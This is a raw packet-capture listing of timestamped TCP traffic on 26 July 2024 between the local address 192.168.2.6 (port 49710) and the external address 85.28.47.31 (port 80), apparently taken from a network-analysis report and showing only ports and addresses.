Jul 26, 2024 10:36:15.023488998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023499966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023511887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.023511887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023523092 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.023555994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.023859978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023871899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023881912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023929119 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.023929119 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.023940086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023952007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023961067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023974895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023988008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.023998022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.024003029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.024013996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.024033070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.024033070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.024060965 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.024236917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.024246931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.024400949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.024415016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.024422884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.024425030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.024437904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.024450064 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.024457932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.024462938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.024470091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.024486065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.024498940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.024503946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.024503946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.024509907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.024521112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.024533033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.024533987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.024544001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.024554968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.024566889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.024579048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.024580002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.024580002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.024590969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.024594069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.024602890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.024614096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.024633884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.024652958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.025219917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.025315046 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.122534990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.122548103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.122554064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.122562885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.122570038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.122580051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.122592926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.122605085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.122623920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.122634888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.122646093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.122656107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.122667074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.122678041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.122689009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.122700930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.122710943 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.122713089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.122730970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.122742891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.122752905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.122752905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.122752905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.122765064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.122775078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.122786999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.122797012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.122803926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.122803926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.122843027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.122843981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.123495102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.123506069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.123516083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.123528957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.123539925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.123555899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.123558044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.123569012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.123577118 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.123579979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.123590946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.123600960 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.123600960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.123613119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.123622894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.123634100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.123642921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.123642921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.123646021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.123656988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.123667955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.123675108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.123675108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.123677969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.123692036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.123702049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.123708963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.123712063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.123725891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.123732090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.123735905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.123747110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.123759985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.123769999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.123769999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.123797894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.124439001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.124452114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.124460936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.124485016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.124499083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.124505043 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.124505043 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.124507904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.124546051 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.124558926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.124574900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.124586105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.124594927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.124605894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.124617100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.124629021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.124643087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.124650955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.124650955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.124655008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.124666929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.124679089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.124690056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.124694109 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.124694109 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.124702930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.124713898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.124726057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.124737978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.124737978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.124777079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.124777079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.125401020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.125413895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.125422955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.125433922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.125443935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.125457048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.125456095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.125474930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.125485897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.125497103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.125499964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.125499964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.125507116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.125519037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.125530005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.125539064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.125554085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.125554085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.125557899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.125567913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.125577927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.125596046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.125605106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.125605106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.125608921 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.125622034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.125633955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.125643969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.125648975 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.125648975 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.125655890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.125667095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.125678062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.125679016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.125690937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.125705957 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.125806093 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.126652956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.126779079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.126806974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.126817942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.126827002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.126837969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.126849890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.126861095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.126872063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.126874924 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.126884937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.126895905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.126902103 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.126902103 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.126910925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.126919031 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.126921892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.126933098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.126945972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.126946926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.126956940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.127000093 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.127000093 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.213052034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.213108063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.213119984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.213243008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.213253021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.213278055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.213290930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.213298082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.213387966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.213402033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.213460922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.213474035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.213519096 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.213519096 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.213597059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.213609934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.213619947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.213650942 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.213692904 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.213896990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.213908911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.213922024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.213957071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.213984966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.214047909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214061022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214071035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214083910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214103937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.214171886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.214188099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214279890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214297056 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.214301109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214313030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214320898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.214323997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214337111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214342117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.214349031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214359045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214371920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214376926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.214376926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.214382887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214400053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.214418888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.214782000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214793921 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214804888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214816093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214827061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214838982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214847088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.214852095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214863062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214884996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.214884996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.214905977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214910030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.214919090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214929104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214941978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214952946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214961052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.214961052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.214965105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214977026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214987993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.214998960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.215008020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.215008020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.215008974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.215020895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.215033054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.215038061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.215038061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.215075016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.215831041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.215852022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.215863943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.215876102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.215888977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.215898991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.215907097 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.215907097 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.215912104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.215924978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.215935946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.215946913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.215958118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.215966940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.215966940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.215970039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.215981960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.215992928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.215996981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.216005087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.216016054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.216017008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.216027975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.216039896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.216048002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.216048002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.216053009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.216064930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.216090918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.216192961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.216821909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.216836929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.216847897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.216866970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.216869116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.216881037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.216892958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.216905117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.216914892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:15.216922045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:15.216922045 CEST	49710	80	192.168.2.6	85.28.47.31
